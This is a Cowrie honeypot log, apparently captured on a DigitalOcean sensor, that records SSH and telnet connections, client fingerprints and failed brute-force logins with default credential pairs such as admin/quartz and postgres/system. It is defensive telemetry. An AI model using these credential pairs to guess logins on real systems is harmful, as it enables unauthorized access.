{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:15.882015Z","src_ip":"96.70.252.227","session":"3372c6460cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-user","password":"123456","message":"login attempt [www-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:16.072907Z","src_ip":"96.70.252.227","session":"3372c6460cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:17.114030Z","src_ip":"96.70.252.227","session":"3372c6460cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.549951791763306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:18.123899Z","src_ip":"144.202.74.27","session":"fdcdb668846e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":35882,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3a3cec65cbf","protocol":"ssh","message":"New connection: 101.36.124.127:35882 (159.203.135.109:22) [session: c3a3cec65cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:18.752689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:18.757050Z","src_ip":"101.36.124.127","session":"c3a3cec65cbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:18.976011Z","src_ip":"101.36.124.127","session":"c3a3cec65cbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"pass","message":"login attempt [test2/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:19.882682Z","src_ip":"101.36.124.127","session":"c3a3cec65cbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:21.105527Z","src_ip":"101.36.124.127","session":"c3a3cec65cbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.873969554901123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:35.040962Z","src_ip":"144.202.74.27","session":"202f87167b96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":47508,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c11b43d82f2","protocol":"ssh","message":"New connection: 27.119.7.6:47508 (10.17.0.5:22) [session: 9c11b43d82f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:55.962274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:56.036960Z","src_ip":"27.119.7.6","session":"9c11b43d82f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:56.217110Z","src_ip":"27.119.7.6","session":"9c11b43d82f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"quartz","message":"login attempt [admin/quartz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:56.965876Z","src_ip":"27.119.7.6","session":"9c11b43d82f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:58.152801Z","src_ip":"27.119.7.6","session":"9c11b43d82f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":52316,"dst_ip":"10.17.0.5","dst_port":23,"session":"31c5b6f2146f","protocol":"telnet","message":"New connection: 144.202.74.27:52316 (10.17.0.5:23) [session: 31c5b6f2146f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:01.116008Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":42166,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd27a6f5e4da","protocol":"ssh","message":"New connection: 101.36.124.127:42166 (159.203.135.109:22) [session: dd27a6f5e4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:14.709610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:14.717253Z","src_ip":"101.36.124.127","session":"dd27a6f5e4da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:14.937370Z","src_ip":"101.36.124.127","session":"dd27a6f5e4da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"csgoserver1","message":"login attempt [csgoserver/csgoserver1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:15.848497Z","src_ip":"101.36.124.127","session":"dd27a6f5e4da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:17.071002Z","src_ip":"101.36.124.127","session":"dd27a6f5e4da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.942189693450928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:32.058107Z","src_ip":"144.202.74.27","session":"31c5b6f2146f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.242","src_port":41093,"dst_ip":"159.203.135.109","dst_port":22,"session":"61f255f9c76e","protocol":"ssh","message":"New connection: 104.152.52.242:41093 (159.203.135.109:22) [session: 61f255f9c76e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:32.884907Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003>\\xbc\\xe7E\\xc9\u001d^\u0298\\x9c\\xbdD\\xc4\u000f%\\xa9K\\x93\u07ec\\xf8%\\xf0\\xcc[\u001d?\fdI\\xfa\\xc5 \u0010r|\\x9b\\x82t\\xfd\\xffd!\\xc0\\x9f \u001c'\\xf9\\x82k\\xc1\\x9a\\x8aa\\xa6\\xc3\u0010\\xae-\\xbf,6V\\xb5\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003>\\xbc\\xe7E\\xc9\u001d^\u0298\\x9c\\xbdD\\xc4\u000f%\\xa9K\\x93\u07ec\\xf8%\\xf0\\xcc[\u001d?\fdI\\xfa\\xc5 \u0010r|\\x9b\\x82t\\xfd\\xffd!\\xc0\\x9f \u001c'\\xf9\\x82k\\xc1\\x9a\\x8aa\\xa6\\xc3\u0010\\xae-\\xbf,6V\\xb5\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:32.889342Z","src_ip":"104.152.52.242","session":"61f255f9c76e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:32.892530Z","src_ip":"104.152.52.242","session":"61f255f9c76e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.233","src_port":41109,"dst_ip":"159.203.135.109","dst_port":22,"session":"70fa93a33b69","protocol":"ssh","message":"New connection: 104.152.52.233:41109 (159.203.135.109:22) [session: 70fa93a33b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:32.950096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:32.959739Z","src_ip":"104.152.52.233","session":"70fa93a33b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:32.981612Z","src_ip":"104.152.52.233","session":"70fa93a33b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:54:33.007912Z","src_ip":"104.152.52.233","session":"70fa93a33b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":42064,"dst_ip":"159.203.135.109","dst_port":22,"session":"7039ef4a09cf","protocol":"ssh","message":"New connection: 101.36.124.127:42064 (159.203.135.109:22) [session: 7039ef4a09cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:55:08.326322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:55:08.329300Z","src_ip":"101.36.124.127","session":"7039ef4a09cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:55:08.547394Z","src_ip":"101.36.124.127","session":"7039ef4a09cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@123","message":"login attempt [ftpuser/ftpuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:55:09.459629Z","src_ip":"101.36.124.127","session":"7039ef4a09cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:55:10.682740Z","src_ip":"101.36.124.127","session":"7039ef4a09cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":48012,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0a112ec2eae","protocol":"ssh","message":"New connection: 27.119.7.6:48012 (10.17.0.5:22) [session: a0a112ec2eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:55:56.266693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:55:56.271048Z","src_ip":"27.119.7.6","session":"a0a112ec2eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:55:56.454543Z","src_ip":"27.119.7.6","session":"a0a112ec2eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"system","message":"login attempt [postgres/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:55:57.218847Z","src_ip":"27.119.7.6","session":"a0a112ec2eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:55:58.404538Z","src_ip":"27.119.7.6","session":"a0a112ec2eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":57846,"dst_ip":"159.203.135.109","dst_port":22,"session":"94039876f271","protocol":"ssh","message":"New connection: 101.36.124.127:57846 (159.203.135.109:22) [session: 94039876f271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:02.654191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:02.659043Z","src_ip":"101.36.124.127","session":"94039876f271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 